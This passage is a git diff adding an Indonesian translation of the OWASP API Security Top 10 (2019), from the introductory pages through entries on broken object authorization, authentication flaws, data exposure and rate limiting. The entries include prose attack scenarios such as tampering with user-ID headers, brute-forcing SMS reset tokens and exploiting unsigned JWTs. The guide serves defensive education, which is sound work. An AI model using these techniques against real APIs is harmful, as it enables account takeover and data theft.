Injeksi](0xa8-injection.md) +* [API9:2019 Pengelolaan Aset yang Tidak Tepat](0xa9-improper-assets-management.md) +* [API10:2019 Pencatatan & Pemantauan yang Kurang Memadai](0xaa-insufficient-logging-monitoring.md) +* [Apa yang Selanjutnya untuk Pengembang](0xb0-next-devs.md) +* [Apa yang Selanjutnya untuk DevSecOps](0xb1-next-devsecops.md) +* [Metodologi dan Data](0xd0-about-data.md) +* [Ucapan Terima Kasih](0xd1-acknowledgments.md) \ No newline at end of file diff --git a/editions/2019/id/0x01-about-owasp.md b/editions/2019/id/0x01-about-owasp.md new file mode 100644 index 000000000..42e3d7f8c --- /dev/null +++ b/editions/2019/id/0x01-about-owasp.md @@ -0,0 +1,56 @@ +# Tentang OWASP + +Open Web Application Security Project (OWASP) adalah komunitas terbuka yang didedikasikan +untuk memungkinkan organisasi mengembangkan, membeli, dan memelihara aplikasi dan +API yang dapat dipercaya. + +Di OWASP, Anda akan menemukan yang gratis dan terbuka: + +* Alat dan standar keamanan aplikasi. +* Buku lengkap tentang pengujian keamanan aplikasi, pengembangan kode yang aman, dan + tinjauan kode yang aman. +* Presentasi dan [video][1]. +* [Lembar cheats][2] tentang banyak topik umum. +* Kontrol keamanan dan pustaka standar. +* [Chapter lokal di seluruh dunia][3]. +* Penelitian mutakhir. +* [Konferensi luas di seluruh dunia][4]. +* [Mailing list][5]. + +Pelajari lebih lanjut di: [https://www.owasp.org][6]. + +Semua alat OWASP, dokumen, video, presentasi, dan bab bebas dan +terbuka untuk siapa saja yang tertarik meningkatkan keamanan aplikasi. + +Kami menganjurkan pendekatan keamanan aplikasi sebagai masalah orang, proses, dan +teknologi, karena pendekatan keamanan aplikasi paling efektif memerlukan peningkatan di bidang ini. + +OWASP adalah jenis organisasi baru. Kebebasan kami dari tekanan komersial +memungkinkan kami untuk menyediakan informasi keamanan aplikasi yang tidak memihak, praktis, dan hemat biaya. + +OWASP tidak berafiliasi dengan perusahaan teknologi mana pun, meskipun kami mendukung +penggunaan teknologi keamanan komersial yang cerdas. OWASP memproduksi banyak jenis +bahan dengan cara kolaboratif, transparan, dan terbuka. + +Yayasan OWASP adalah entitas nirlaba yang memastikan kesuksesan jangka panjang proyek. +Hampir semua orang yang terkait dengan OWASP adalah relawan, +termasuk dewan OWASP, pemimpin chapter, pemimpin proyek, dan anggota proyek. Kami mendukung +penelitian keamanan inovatif dengan hibah dan infrastruktur. + +Ayo bergabung dengan kami! + +## Hak Cipta dan Lisensi + +![lisensi](images/license.png) + +Hak Cipta © 2003-2019 Yayasan OWASP. Dokumen ini dirilis di bawah +[Creative Commons Attribution Share-Alike 4.0 license][7]. Untuk penggunaan ulang atau +distribusi, Anda harus menjelaskan kepada orang lain ketentuan lisensi karya ini. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[3]: https://www.owasp.org/index.php/OWASP_Chapter +[4]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[5]: https://lists.owasp.org/mailman/listinfo +[6]: https://www.owasp.org +[7]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2019/id/0x02-foreword.md b/editions/2019/id/0x02-foreword.md new file mode 100644 index 000000000..f12b77dd1 --- /dev/null +++ b/editions/2019/id/0x02-foreword.md @@ -0,0 +1,39 @@ +# Kata Pengantar + +Elemen dasar inovasi di dunia aplikasi yang digerakkan saat ini adalah +Antarmuka Pemrograman Aplikasi (API). Dari bank, ritel, dan transportasi +hingga IoT, kendaraan otonom, dan kota pintar, API merupakan bagian penting +dari aplikasi seluler, SaaS, dan web modern dan dapat ditemukan di aplikasi menghadap pelanggan, +menghadap mitra, dan internal. + +Karena sifatnya, API mengekspos logika aplikasi dan data sensitif seperti Informasi Pribadi (PII) dan karena itu, +API semakin menjadi target para penyerang. Tanpa API yang aman, inovasi cepat akan mustahil. + +Meskipun risiko keamanan web aplikasi yang lebih luas Top 10 masih masuk akal, +karena sifat khusus mereka, daftar risiko keamanan API spesifik diperlukan. +Keamanan API berfokus pada strategi dan solusi untuk memahami dan mengurangi +kerentanan dan risiko keamanan yang unik terkait dengan API. + +Jika Anda sudah familiar dengan [Proyek OWASP Top 10][1], maka Anda akan melihat +kesamaan antara kedua dokumen: keduanya ditujukan untuk keterbacaan dan adopsi. Jika Anda baru mengenal +seri OWASP Top 10, mungkin lebih baik membaca bagian [Risiko Keamanan API][2] dan [Metodologi dan Data][3] +sebelum melompat ke daftar 10 besar. + +Anda dapat berkontribusi pada OWASP API Security Top 10 dengan pertanyaan, komentar, +dan ide Anda di repositori proyek GitHub kami: + +* https://github.com/OWASP/API-Security/issues +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Anda dapat menemukan OWASP API Security Top 10 di sini: + +* https://www.owasp.org/index.php/OWASP_API_Security_Project +* https://github.com/OWASP/API-Security + +Kami ingin berterima kasih kepada semua kontributor yang membuat proyek ini dimungkinkan dengan upaya dan kontribusi mereka. +Mereka semua tercantum di bagian [Ucapan Terima Kasih][4]. Terima kasih! + +[1]: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2019/id/0x03-introduction.md b/editions/2019/id/0x03-introduction.md new file mode 100644 index 000000000..072d8cc5b --- /dev/null +++ b/editions/2019/id/0x03-introduction.md @@ -0,0 +1,16 @@ +# Pendahuluan + +## Selamat Datang di OWASP API Security Top 10 - 2019! + +Selamat datang di edisi pertama OWASP API Security Top 10. Jika Anda sudah akrab dengan seri OWASP Top 10, Anda akan melihat kesamaannya: tujuannya adalah mudah dibaca dan diadopsi. Jika tidak, pertimbangkan untuk mengunjungi [halaman wiki OWASP API Security Project][1], sebelum menggali lebih dalam tentang risiko keamanan API yang paling kritis. + +API memainkan peran yang sangat penting dalam arsitektur aplikasi modern. Karena penciptaan kesadaran keamanan dan inovasi memiliki tempo yang berbeda, penting untuk fokus pada kelemahan keamanan API yang umum. + +Tujuan utama OWASP API Security Top 10 adalah untuk mendidik mereka yang terlibat dalam pengembangan dan pemeliharaan API, misalnya pengembang, desainer, arsitek, manajer, atau organisasi. + +Di bagian [Metodologi dan Data][2], Anda dapat membaca lebih lanjut tentang bagaimana edisi pertama ini dibuat. Di versi mendatang, kami ingin melibatkan industri keamanan, dengan panggilan data publik. Untuk saat ini, kami mendorong semua orang untuk berkontribusi dengan pertanyaan, komentar, dan ide di repositori [GitHub][3] atau [Mailing list][4] kami. + +[1]: https://www.owasp.org/index.php/OWASP_API_Security_Project +[2]: ./0xd0-about-data.md +[3]: https://github.com/OWASP/API-Security +[4]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2019/id/0x04-release-notes.md b/editions/2019/id/0x04-release-notes.md new file mode 100644 index 000000000..ff9be9156 --- /dev/null +++ b/editions/2019/id/0x04-release-notes.md @@ -0,0 +1,13 @@ +# Catatan Rilis + +Ini adalah edisi OWASP API Security Top 10 pertama, yang direncanakan akan diperbarui secara berkala, setiap tiga atau empat tahun sekali. + +Tidak seperti versi ini, di versi mendatang, kami ingin melakukan panggilan data publik, melibatkan industri keamanan dalam upaya ini. Di bagian [Metodologi dan Data][1], Anda akan menemukan detail lebih lanjut tentang bagaimana versi ini dibangun. Untuk detail lebih lanjut tentang risiko keamanan, harap merujuk pada bagian [API Security Risks][2]. + +Penting untuk menyadari bahwa selama beberapa tahun terakhir, arsitektur aplikasi telah berubah secara signifikan. Saat ini, API memainkan peran yang sangat penting dalam arsitektur baru ini dari mikroservis, Single Page Applications (SPAs), aplikasi seluler, IoT, dan lainnya. + +OWASP API Security Top 10 merupakan upaya yang dibutuhkan untuk menciptakan kesadaran tentang masalah keamanan API modern. Hanya mungkin karena upaya besar dari beberapa sukarelawan, semuanya terdaftar di bagian [Penghargaan][3]. Terima kasih! + +[1]: ./0xd0-about-data.md +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/id/0x10-api-security-risks.md b/editions/2019/id/0x10-api-security-risks.md new file mode 100644 index 000000000..9bb421457 --- /dev/null +++ b/editions/2019/id/0x10-api-security-risks.md @@ -0,0 +1,38 @@ +# Risiko Keamanan API + +[OWASP Risk Rating Methodology][1] digunakan untuk melakukan analisis risiko. + +Tabel di bawah ini merangkum terminologi yang terkait dengan skor risiko. + +| Agen Ancaman | Dapat Dieksploitasi | Prevalensi Kelemahan | Dapat Dideteksi Kelemahan | Dampak Teknis | Dampak Bisnis | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Khusus API | Mudah: **3** | Luas **3** | Mudah **3** | Parah **3** | Spesifik Bisnis | +| Khusus API | Rata-rata: **2** | Umum **2** | Rata-rata **2** | Sedang **2** | Spesifik Bisnis | +| Khusus API | Sulit: **1** | Sulit **1** | Sulit **1** | Minor **1** | Spesifik Bisnis | + +**Catatan**: Pendekatan ini tidak memperhitungkan kemungkinan agen ancaman. Juga tidak memperhitungkan berbagai detail teknis yang terkait dengan aplikasi tertentu Anda. Faktor-faktor apa pun dapat secara signifikan mempengaruhi kemungkinan keseluruhan penyerang menemukan dan mengeksploitasi kerentanan tertentu. Peringkat ini tidak memperhitungkan dampak aktual pada bisnis Anda. Organisasi Anda harus memutuskan seberapa banyak risiko keamanan dari aplikasi dan API yang akan diterima organisasi mengingat budaya, industri, dan lingkungan peraturan Anda. Tujuan OWASP API Security Top 10 bukan untuk melakukan analisis risiko ini untuk Anda. + +## Referensi + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Eksternal + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: https://www.owasp.org/index.php/Threat_Risk_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2019/id/0x11-t10.md b/editions/2019/id/0x11-t10.md new file mode 100644 index 000000000..3e9257185 --- /dev/null +++ b/editions/2019/id/0x11-t10.md @@ -0,0 +1,14 @@ +# OWASP Top 10 Risiko Keamanan API – 2019 + +| Risiko | Deskripsi | +| ---- | ----------- | +| API1:2019 - Otorisasi Tingkat Objek yang Rusak | API cenderung mengekspos endpoint yang menangani pengidentifikasi objek, menciptakan masalah Otorisasi Akses Tingkat yang luas. Pemeriksaan otorisasi tingkat objek harus dipertimbangkan dalam setiap fungsi yang mengakses sumber data menggunakan input dari pengguna. | +| API2:2019 - Otentikasi Pengguna yang Rusak | Mekanisme otentikasi sering diimplementasikan dengan salah, memungkinkan penyerang mengkompromikan token otentikasi atau memanfaatkan celah implementasi untuk mengambil alih identitas pengguna lain sementara atau permanen. Mengompromikan kemampuan sistem untuk mengidentifikasi klien/pengguna, mengkompromikan keamanan API secara keseluruhan. | +| API3:2019 - Pemaparan Data yang Berlebihan | Menantikan implementasi generik, pengembang cenderung mengekspos semua properti objek tanpa mempertimbangkan sensitivitas individu mereka, mengandalkan klien untuk melakukan penyaringan data sebelum menampilkannya ke pengguna. | +| API4:2019 - Kurangnya Sumber Daya & Pembatasan Laju | Cukup sering, API tidak memberlakukan pembatasan apa pun pada ukuran atau jumlah sumber daya yang dapat diminta oleh klien/pengguna. Tidak hanya dapat berdampak pada kinerja server API, yang mengarah ke Denial of Service (DoS), tetapi juga membiarkan pintu terbuka untuk celah otentikasi seperti brute force. | +| API5:2019 - Otorisasi Tingkat Fungsi yang Rusak | Kebijakan kontrol akses kompleks dengan hierarki, kelompok, dan peran yang berbeda, dan pemisahan yang tidak jelas antara fungsi administratif dan reguler, cenderung mengarah pada celah otorisasi. Dengan memanfaatkan masalah ini, penyerang mendapatkan akses ke sumber daya pengguna lain dan/atau fungsi administratif. | +| API6:2019 - Mass Assignment | Mengikat data yang disediakan klien (misalnya, JSON) ke model data, tanpa penyaringan properti yang tepat berdasarkan daftar putih, biasanya mengarah ke Mass Assignment. Menebak properti objek, mengeksplorasi titik akhir API lainnya, membaca dokumentasi, atau menyediakan properti objek tambahan dalam muatan permintaan, memungkinkan penyerang memodifikasi properti objek yang seharusnya tidak mereka lakukan. | +| API7:2019 - Kesalahan Konfigurasi Keamanan | Kesalahan konfigurasi keamanan umumnya merupakan hasil dari konfigurasi default yang tidak aman, konfigurasi yang tidak lengkap atau ad-hoc, penyimpanan cloud terbuka, header HTTP yang dikonfigurasi salah, metode HTTP yang tidak perlu, berbagi sumber daya Cross-Origin (CORS) yang longgar, dan pesan kesalahan yang terperinci mengandung informasi sensitif. | +| API8:2019 - Injeksi | Celah injeksi, seperti SQL, NoSQL, Command Injection, dll., terjadi ketika data yang tidak dipercaya dikirim ke interpreter sebagai bagian dari perintah atau kueri. Data berbahaya penyerang dapat menipu interpreter untuk mengeksekusi perintah yang tidak diinginkan atau mengakses data tanpa otorisasi yang tepat. | +| API9:2019 - Pengelolaan Aset yang Tidak Tepat | API cenderung mengekspos lebih banyak endpoint daripada aplikasi web tradisional, sehingga dokumentasi yang tepat dan terbaru sangat penting. Inventarisasi host dan versi API yang diterapkan yang tepat juga memainkan peran penting untuk memitigasi masalah seperti versi API usang dan endpoint debug yang terekspos. | +| API10:2019 - Logging & Pemantauan yang Tidak Memadai | Pencatatan dan pemantauan yang tidak memadai, dipasangkan dengan integrasi insiden yang hilang atau tidak efektif, memungkinkan penyerang untuk menyerang sistem lebih lanjut, mempertahankan persistensi, berpindah ke lebih banyak sistem untuk mengutak-atik, mengekstrak, atau menghancurkan data. Sebagian besar studi pelanggaran menunjukkan waktu untuk mendeteksi pelanggaran adalah lebih dari 200 hari, biasanya dideteksi oleh pihak eksternal daripada proses internal atau pemantauan. | \ No newline at end of file diff --git a/editions/2019/id/0xa1-broken-object-level-authorization.md b/editions/2019/id/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..8ca947d1e --- /dev/null +++ b/editions/2019/id/0xa1-broken-object-level-authorization.md @@ -0,0 +1,43 @@ +# API1:2019 Otorisasi Tingkat Objek yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **2** | Teknis **3** : Spesifik Bisnis | +| Penyerang dapat memanfaatkan endpoint API yang rentan terhadap otorisasi tingkat objek yang rusak dengan memanipulasi ID objek yang dikirim dalam permintaan. Hal ini dapat menyebabkan akses tidak sah ke data sensitif. Masalah ini sangat umum dalam aplikasi berbasis API karena komponen server biasanya tidak sepenuhnya melacak status klien, dan sebaliknya, lebih bergantung pada parameter seperti ID objek, yang dikirim dari klien untuk memutuskan objek mana yang akan diakses. | Ini telah menjadi serangan paling umum dan berdampak pada API. Mekanisme otorisasi dan kontrol akses dalam aplikasi modern kompleks dan meluas. Bahkan jika aplikasi mengimplementasikan infrastruktur yang tepat untuk pemeriksaan otorisasi, pengembang mungkin lupa menggunakan pemeriksaan ini sebelum mengakses objek sensitif. Deteksi kontrol akses biasanya tidak dapat diterapkan untuk pengujian statis atau dinamis otomatis. | Akses tidak sah dapat mengakibatkan pengungkapan data ke pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Akses tidak sah ke objek juga dapat mengarah ke pengambilalihan akun secara penuh. | + +## Apakah API Rentan? + +Otorisasi tingkat objek adalah mekanisme kontrol akses yang biasanya diimplementasikan di tingkat kode untuk memvalidasi bahwa satu pengguna hanya dapat mengakses objek yang seharusnya mereka akses. + +Setiap endpoint API yang menerima ID objek, dan melakukan jenis tindakan apa pun pada objek, harus menerapkan pemeriksaan otorisasi tingkat objek. Pemeriksaan harus memvalidasi bahwa pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada objek yang diminta. + +Kegagalan dalam mekanisme ini biasanya menyebabkan pengungkapan informasi yang tidak sah, modifikasi, atau penghancuran semua data. + +## Skenario Serangan Contoh + +### Skenario #1 + +Platform e-commerce untuk toko online (toko) menyediakan halaman daftar dengan grafik pendapatan untuk toko hosting mereka. Memeriksa permintaan browser, penyerang dapat mengidentifikasi endpoint API yang digunakan sebagai sumber data untuk grafik tersebut dan polanya `/shops/{shopName}/revenue_data.json`. Menggunakan endpoint API lainnya, penyerang dapat mendapatkan daftar semua nama toko yang di-host. Dengan skrip sederhana untuk memanipulasi nama di daftar, mengganti `{shopName}` dalam URL, penyerang mendapatkan akses ke data penjualan ribuan toko e-commerce. + +### Skenario #2 + +Saat memantau lalu lintas jaringan perangkat wearable, permintaan HTTP `PATCH` berikut menarik perhatian penyerang karena adanya header permintaan HTTP kustom `X-User-Id: 54796`. Mengganti nilai `X-User-Id` dengan `54795`, penyerang menerima respons HTTP yang berhasil, dan dapat memodifikasi data akun pengguna lain. + +## Cara Mencegah + +* Implementasikan mekanisme otorisasi yang tepat yang mengandalkan kebijakan dan hierarki pengguna. +* Gunakan mekanisme otorisasi untuk memeriksa apakah pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada catatan di setiap fungsi yang menggunakan input dari klien untuk mengakses catatan di database. +* Lebih baik menggunakan nilai acak dan tidak terduga sebagai ID catatan. +* Menulis tes untuk mengevaluasi mekanisme otorisasi. Jangan menerapkan perubahan rentan yang merusak tes. + +## Referensi + +### Eksternal + +* [CWE-284: Kontrol Akses yang Tidak Tepat][1] +* [CWE-285: Otorisasi yang Tidak Tepat][2] +* [CWE-639: Otorisasi Melewati Kunci yang Dikendalikan Pengguna][3] + +[1]: https://cwe.mitre.org/data/definitions/284.html +[2]: https://cwe.mitre.org/data/definitions/285.html +[3]: https://cwe.mitre.org/data/definitions/639.html \ No newline at end of file diff --git a/editions/2019/id/0xa2-broken-user-authentication.md b/editions/2019/id/0xa2-broken-user-authentication.md new file mode 100644 index 000000000..325e54b49 --- /dev/null +++ b/editions/2019/id/0xa2-broken-user-authentication.md @@ -0,0 +1,63 @@ +# API2:2019 Otentikasi Pengguna yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **2** | Teknis **3** : Spesifik Bisnis | +| Otentikasi dalam API adalah mekanisme yang kompleks dan membingungkan. Insinyur perangkat lunak dan keamanan mungkin memiliki kesalahpahaman tentang batasan otentikasi dan cara mengimplementasikannya dengan benar. Selain itu, mekanisme otentikasi adalah target yang mudah bagi penyerang, karena terbuka untuk semua orang. Dua poin ini membuat komponen otentikasi berpotensi rentan terhadap banyak eksploitasi. | Ada dua sub-masalah: 1. Kurangnya mekanisme perlindungan: endpoint API yang bertanggung jawab untuk otentikasi harus diperlakukan berbeda dari endpoint reguler dan menerapkan lapisan perlindungan tambahan 2. Kesalahan implementasi mekanisme: Mekanisme digunakan/diimplementasikan tanpa mempertimbangkan vektor serangan, atau itu kasus penggunaan yang salah (misalnya, mekanisme otentikasi yang dirancang untuk klien IoT mungkin bukan pilihan yang tepat untuk aplikasi web). | Penyerang dapat mengambil alih akun pengguna lain dalam sistem, membaca data pribadi mereka, dan melakukan tindakan sensitif atas nama mereka, seperti transaksi uang dan mengirim pesan pribadi. | + +## Apakah API Rentan? + +Titik akhir dan alur otentikasi adalah aset yang perlu dilindungi. “Lupa kata sandi / reset kata sandi” harus diperlakukan sama seperti mekanisme otentikasi. + +API rentan jika: +* Mengizinkan [credential stuffing][1] di mana penyerang memiliki daftar nama pengguna dan kata sandi yang valid. +* Mengizinkan penyerang melakukan serangan brute force pada akun pengguna yang sama, tanpa menyajikan mekanisme captcha/penguncian akun. +* Mengizinkan kata sandi yang lemah. +* Mengirim detail otentikasi sensitif, seperti token otentikasi dan kata sandi di URL. +* Tidak memvalidasi keaslian token. +* Menerima token JWT yang tidak ditandatangani/lemah ditandatangani (`"alg": "none"`) / tidak memvalidasi tanggal kedaluwarsa mereka. +* Menggunakan kata sandi teks polos, tidak dienkripsi, atau di-hash lemah. +* Menggunakan kunci enkripsi yang lemah. + +## Skenario Serangan Contoh + +## Skenario #1 + +[Credential stuffing][1] (menggunakan [daftar nama pengguna/kata sandi yang diketahui][2]), adalah serangan yang umum. Jika aplikasi tidak menerapkan ancaman otomatis atau perlindungan stuffing kredensial, aplikasi dapat digunakan sebagai oracle kata sandi (penguji) untuk menentukan apakah kredensial valid. + +## Skenario #2 + +Seorang penyerang memulai alur kerja pemulihan kata sandi dengan menerbitkan permintaan POST ke `/api/system/verification-codes` dan dengan menyediakan nama pengguna dalam body permintaan. Selanjutnya token SMS dengan 6 digit dikirim ke telepon korban. Karena API tidak menerapkan kebijakan pembatasan laju, penyerang dapat menguji semua kombinasi yang mungkin menggunakan skrip multi-thread, terhadap endpoint `/api/system/verification-codes/{smsToken}` untuk menemukan token yang benar dalam beberapa menit. + +## Cara Mencegah + +* Pastikan Anda mengetahui semua kemungkinan alur untuk mengotentikasi ke API (mobile/web/tautan dalam yang mengimplementasikan otentikasi satu klik/dll.) +* Tanyakan pada insinyur Anda alur apa yang Anda lewatkan. +* Baca tentang mekanisme otentikasi Anda. Pastikan Anda memahami apa dan bagaimana mereka digunakan. OAuth bukan otentikasi, dan begitu juga kunci API. +* Jangan menemukan kembali roda dalam otentikasi, generasi token, penyimpanan kata sandi. Gunakan standar. +* Endpoint pemulihan kredensial/lupa kata sandi harus diperlakukan seperti titik akhir login dalam hal brute force, pembatasan laju, dan perlindungan penguncian. +* Gunakan [OWASP Authentication Cheatsheet][3]. +* Jika memungkinkan, terapkan otentikasi multifaktor. +* Terapkan mekanisme anti-brute force untuk memitigasi stuffing kredensial, serangan kamus, dan serangan brute force pada titik akhir otentikasi Anda. Mekanisme ini harus lebih ketat daripada mekanisme pembatasan laju normal pada API Anda. +* Terapkan [penguncian akun][4] / mekanisme captcha untuk mencegah brute force terhadap pengguna tertentu. Terapkan pemeriksaan kata sandi lemah. +* Kunci API seharusnya tidak digunakan untuk otentikasi pengguna, tetapi untuk [otentikasi aplikasi/proyek klien][5]. + +## Referensi + +### OWASP + +* [OWASP Key Management Cheat Sheet][6] +* [OWASP Authentication Cheatsheet][3] +* [Credential Stuffing][1] + +### Eksternal + +* [CWE-798: Penggunaan Kredensial Hard-coded][7] + +[1]: https://www.owasp.org/index.php/Credential_stuffing +[2]: https://github.com/danielmiessler/SecLists +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[4]: https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) +[5]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[6]: https://www.owasp.org/index.php/Key_Management_Cheat_Sheet +[7]: https://cwe.mitre.org/data/definitions/798.html \ No newline at end of file diff --git a/editions/2019/id/0xa3-excessive-data-exposure.md b/editions/2019/id/0xa3-excessive-data-exposure.md new file mode 100644 index 000000000..3a75fcf15 --- /dev/null +++ b/editions/2019/id/0xa3-excessive-data-exposure.md @@ -0,0 +1,38 @@ +# API3:2019 Pemaparan Data yang Berlebihan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi Pemaparan Data Berlebihan sederhana, dan biasanya dilakukan dengan menyadap lalu lintas untuk menganalisis respon API, mencari pemaparan data sensitif yang seharusnya tidak dikembalikan ke pengguna. | API mengandalkan klien untuk melakukan penyaringan data. Karena API digunakan sebagai sumber data, terkadang pengembang mencoba mengimplementasikannya secara generik tanpa memikirkan sensitivitas data yang terpapar. Alat otomatis biasanya tidak dapat mendeteksi jenis kerentanan ini karena sulit membedakan antara data yang sah dikembalikan dari API, dan data sensitif yang tidak boleh dikembalikan tanpa pemahaman mendalam tentang aplikasi. | Pemaparan Data Berlebihan umumnya mengarah pada pemaparan data sensitif. | + +## Apakah API Rentan? + +API mengembalikan data sensitif ke klien berdasarkan desain. Data ini biasanya disaring di sisi klien sebelum ditampilkan ke pengguna. Penyerang dengan mudah dapat menyadap lalu lintas dan melihat data sensitif. + +## Skenario Serangan Contoh + +### Skenario #1 + +Tim seluler menggunakan endpoint `/api/articles/{articleId}/comments/{commentId}` dalam tampilan artikel untuk merender metadata komentar. Menyadap lalu lintas aplikasi seluler, seorang penyerang mengetahui bahwa data sensitif lain terkait penulis komentar juga dikembalikan. Implementasi endpoint menggunakan metode `toJSON()` generik pada model `User`, yang berisi PII, untuk men-serialisasi objek. + +### Skenario #2 + +Sistem pengawasan berbasis IOT memungkinkan administrator membuat pengguna dengan izin yang berbeda. Seorang admin membuat akun pengguna untuk satpam baru yang hanya boleh mengakses bangunan tertentu di situs tersebut. Setelah satpam menggunakan aplikasi selulernya, panggilan API dipicu ke: `/api/sites/111/cameras` untuk menerima data tentang kamera yang tersedia dan menampilkannya di dashboard. Respons berisi daftar dengan rincian tentang kamera dalam format berikut: `{"id":"xxx","live_access_token":"xxxx-bbbbb","building_id":"yyy"}`. Meskipun GUI klien hanya menampilkan kamera yang seharusnya satpam ini akses, respons API aktual berisi daftar lengkap semua kamera di situs. + +## Cara Mencegah + +* Jangan pernah mengandalkan sisi klien untuk menyaring data sensitif. +* Tinjau respon dari API untuk memastikan hanya berisi data yang sah. +* Insinyur backend harus selalu bertanya pada diri sendiri "siapa konsumen data ini?" sebelum memaparkan endpoint API baru. +* Hindari menggunakan metode generik seperti `to_json()` dan `to_string()`. Sebaliknya, pilih properti spesifik yang benar-benar ingin Anda kembalikan. +* Klasifikasikan informasi sensitif dan pribadi (PII) yang disimpan dan dikelola aplikasi Anda, meninjau semua panggilan API yang mengembalikan informasi tersebut untuk melihat apakah respons ini menimbulkan masalah keamanan. +* Implementasikan mekanisme validasi respons berbasis skema sebagai lapisan keamanan tambahan. Sebagai bagian dari mekanisme ini, tentukan dan paksakan data yang dikembalikan oleh semua metode API, termasuk kesalahan. + + +## Referensi + +### Eksternal + +* [CWE-213: Pemaparan Informasi yang Disengaja][1] + +[1]: https://cwe.mitre.org/data/definitions/213.html \ No newline at end of file diff --git a/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md new file mode 100644 index 000000000..57e98a72b --- /dev/null +++ b/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md @@ -0,0 +1,66 @@ +# API4:2019 Kurangnya Sumber Daya & Pembatasan Laju + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **3** : Deteksi **3** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi memerlukan permintaan API sederhana. Tidak ada otentikasi yang diperlukan. Beberapa permintaan secara bersamaan dapat dilakukan dari satu komputer lokal atau dengan menggunakan sumber daya komputasi cloud. | Umum ditemukan API yang tidak menerapkan pembatasan laju atau API di mana batas tidak ditetapkan dengan benar. | Eksploitasi dapat mengarah ke DoS, membuat API tidak responsif atau bahkan tidak tersedia. | + +## Apakah API Rentan? + +Permintaan API mengonsumsi sumber daya seperti jaringan, CPU, memori, dan penyimpanan. Jumlah sumber daya yang diperlukan untuk memenuhi permintaan sangat bergantung pada input pengguna dan logika bisnis endpoint. Juga, pertimbangkan fakta bahwa permintaan dari beberapa klien API bersaing untuk sumber daya. API rentan jika setidaknya satu dari batasan berikut hilang atau disetel secara tidak tepat (misalnya, terlalu rendah/tinggi): + +* Batas waktu eksekusi +* Memori maksimum yang dapat dialokasikan +* Jumlah deskriptor berkas +* Jumlah proses +* Ukuran muatan permintaan (misalnya, unggahan) +* Jumlah permintaan per klien/sumber daya +* Jumlah catatan per halaman untuk dikembalikan dalam satu respons permintaan + +## Skenario Serangan Contoh + +### Skenario #1 + +Seorang penyerang mengunggah gambar besar dengan menerbitkan permintaan POST ke `/api/v1/images`. Saat unggahan selesai, API membuat beberapa thumbnail dengan ukuran yang berbeda. Karena ukuran gambar yang diunggah, memori yang tersedia habis selama pembuatan thumbnail dan API menjadi tidak responsif. + +### Skenario #2 + +Kami memiliki aplikasi yang berisi daftar pengguna di UI dengan batas `200` pengguna per halaman. Daftar pengguna diambil dari server menggunakan kueri berikut: `/api/users?page=1&size=200`. Seorang penyerang mengubah parameter `size` menjadi `200.000`, menyebabkan masalah kinerja pada basis data. Sementara itu, API menjadi tidak responsif dan tidak dapat menangani permintaan lebih lanjut dari klien ini atau klien lainnya (alias DoS). + +Skenario yang sama dapat digunakan untuk memancing kesalahan Integer Overflow atau Buffer Overflow. + +## Cara Mencegah + +* Docker memudahkan untuk membatasi [memori][1], [CPU][2], [jumlah restart][3], [deskriptor berkas, dan proses][4]. +* Terapkan batas seberapa sering klien dapat memanggil API dalam rentang waktu tertentu. +* Beri tahu klien saat batas terlampaui dengan menyediakan nomor batas dan waktu saat batas akan direset. +* Tambahkan validasi server-side yang tepat untuk parameter string kueri dan body permintaan, khususnya yang mengendalikan jumlah catatan yang akan dikembalikan dalam respons. +* Tentukan dan tegakkan ukuran maksimum data pada semua parameter dan muatan masukan seperti panjang maksimum untuk string dan jumlah elemen maksimum dalam array. + + +## Referensi + +### OWASP + +* [Blocking Brute Force Attacks][5] +* [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors, + processes, restarts)][6] +* [REST Assessment Cheat Sheet][7] + +### Eksternal + +* 